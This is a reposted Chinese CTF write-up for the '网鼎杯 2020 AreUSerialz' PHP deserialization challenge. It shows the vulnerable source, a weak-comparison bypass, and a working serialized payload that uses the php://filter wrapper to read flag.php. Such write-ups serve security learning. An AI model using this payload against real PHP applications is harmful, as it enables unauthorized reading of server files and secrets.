zoukankan      html  css  js  c++  java
  • [网鼎杯 2020 青龙组]AreUSerialz

    <?php
    
    include("flag.php");
    
    highlight_file(__FILE__);
    
    class FileHandler {
    
        protected $op;
        protected $filename;
        protected $content;
    
        function __construct() {
            $op = "1";
            $filename = "/tmp/tmpfile";
            $content = "Hello World!";
            $this->process();
        }
    
        public function process() {
            if($this->op == "1") {
                $this->write();
            } else if($this->op == "2") {
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }
    
        private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }
    
        private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }
    
        private function output($s) {
            echo "[Result]: <br>";
            echo $s;
        }
    
        function __destruct() {
            if($this->op === "2")
                $this->op = "1";
            $this->content = "";
            $this->process();
        }
    
    }
    
    function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
                return false;
        return true;
    }
    
    if(isset($_GET{'str'})) {
    
        $str = (string)$_GET['str'];
        if(is_valid($str)) {
            $obj = unserialize($str);
        }
    
    }

    这是反序列吧,

    __destruct()魔术方法中,op==="2"是强比较,而process()使用的是弱比较op=="2",可以通过弱类型绕过。

    绕过方法:op=2,这里的2是整数int类型,op=2时,op==="2"为false,op=="2"为true

    利用php伪协议

    <?php
    class FileHandler {
        public $op = 2;
        public $filename = 'php://filter/read=convert.base64-encode/resource=flag.php';
        public $content;
    }
    echo serialize(new FileHandler);
    ?>
    O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

     base64解码,flag出。

    参考:https://blog.csdn.net/Oavinci/article/details/106998738

  • 相关阅读:
    MongoCola Web化
    Qsys在系统集成中的应用
    js浏览器和浏览器插件检测的方法总结
    搭建一个简单的Struts2应用
    Moon.ORM最便捷轻盈的ORM
    如何从 Winform 移植到 Webform [自己搞定HTTP协议]
    细细品味Hadoop_Hadoop集群(目录)
    微软SQL Server 2012新特性Silverlight报表客户端 Power View
    json入门实例
    项目经理
  • 原文地址:https://www.cnblogs.com/tac2664/p/14578716.html
Copyright © 2011-2022 走看看